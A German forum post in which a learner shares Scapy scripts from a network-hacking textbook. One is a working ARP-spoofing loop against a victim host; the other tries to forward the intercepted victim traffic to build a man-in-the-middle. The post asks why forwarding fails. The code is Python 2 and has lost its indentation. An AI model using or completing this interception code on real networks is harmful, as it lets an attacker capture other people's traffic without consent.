Ich lerne nur Python mit Scapy. Ich habe das Buch "Network Hacks - Intensivkurs - Angriff und Verteidigung MIT Python" (Deutsch) verwendet. Ein Code -Ausschnitt aus dem Buch < /p>
#!/usr/bin/python
import sys
import time
from scapy.all import sniff, sendp, ARP, Ether
if len(sys.argv) < 3:
print sys.argv[0] + " "
sys.exit(0)
iface = "wlan1"
target_ip = sys.argv[1]
fake_ip = sys.argv[2]
ethernet = Ether()
arp = ARP(pdst=target_ip, psrc=fake_ip, op="is-at")
packet = ethernet / arp
while True:
sendp(packet, iface=iface)
time.sleep(10)
< /code>
Es funktioniert, mein Opfer zeigt meinen Mac als Gateway.
Das Opfer sendet Pakete mit der richtigen IP, aber meine MAC -Adresse. Aber ich muss die Pakete (DNS und TCP/HTTP) umleiten. Ich habe es mit diesem Code ausprobiert: < /p>
#!/etc/usr/python
from scapy.all import *
import sys
iface = "wlan1"
filter = "ip"
VICTIM_IP = "192.168.2.108"
MY_IP = "192.168.2.104"
GATEWAY_IP = "192.168.2.1"
VICTIM_MAC = "### don't want so show###"
MY_MAC = "### don't want so show###"
GATEWAY_MAC = "### don't want so show###"
def handle_packet(packet):
if (packet[IP].dst == GATEWAY_IP) and (packet[Ether].dst == MY_MAC):
packet[Ether].dst = GATEWAY_MAC
sendp(packet)
print "A packet from " + packet[IP].src + " redirected!"
sniff(prn=handle_packet, filter=filter, iface=iface, store=0)
< /code>
Wireshark zeigt ein Paket mit den richtigen Daten (IP Source = Opfer IP, IP-Ziel = Gateway IP, Mac Source = Opfer Mac, Mac destination = Gateway Mac). Was ist meine Schuld?>
SCAPY -Weiterleitungspakete ⇐ Python
-
- Similar Topics
- Replies
- Views
- Last post